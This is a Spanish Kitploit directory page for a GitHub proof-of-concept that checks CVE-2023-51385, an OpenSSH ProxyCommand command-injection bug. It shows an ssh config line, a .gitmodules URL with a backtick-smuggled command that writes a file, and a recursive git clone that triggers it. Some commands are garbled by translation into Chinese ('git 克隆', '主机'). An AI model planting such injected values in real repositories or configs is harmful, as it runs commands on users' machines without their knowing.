Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-51385_test — Una verificación de CVE-2023-51385 | Kitploit
Herramientas/GitHubGitHub/power1314520/cve-2023-51385_test
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubpower1314520/cve-2023-51385_test

CVE-2023-51385_test

Una verificación de CVE-2023-51385

Ver Repositorio
hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Verificar CVE-2023-51385

Primero, agregue lo siguiente en ~/.ssh/config

root@kitploit:~
主机 *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Existe una inyección de comandos en la declaración del archivo .gitmodules

root@kitploit:~
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

Una vez configurado, ejecute el siguiente comando para desencadenar

root@kitploit:~
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules

Si se ejecuta con éxito, se generará el archivo cve.txt en el directorio CVE-2023-51385_test

![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )

Para más detalles, consulte el blog del artículo:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

Descargar herramienta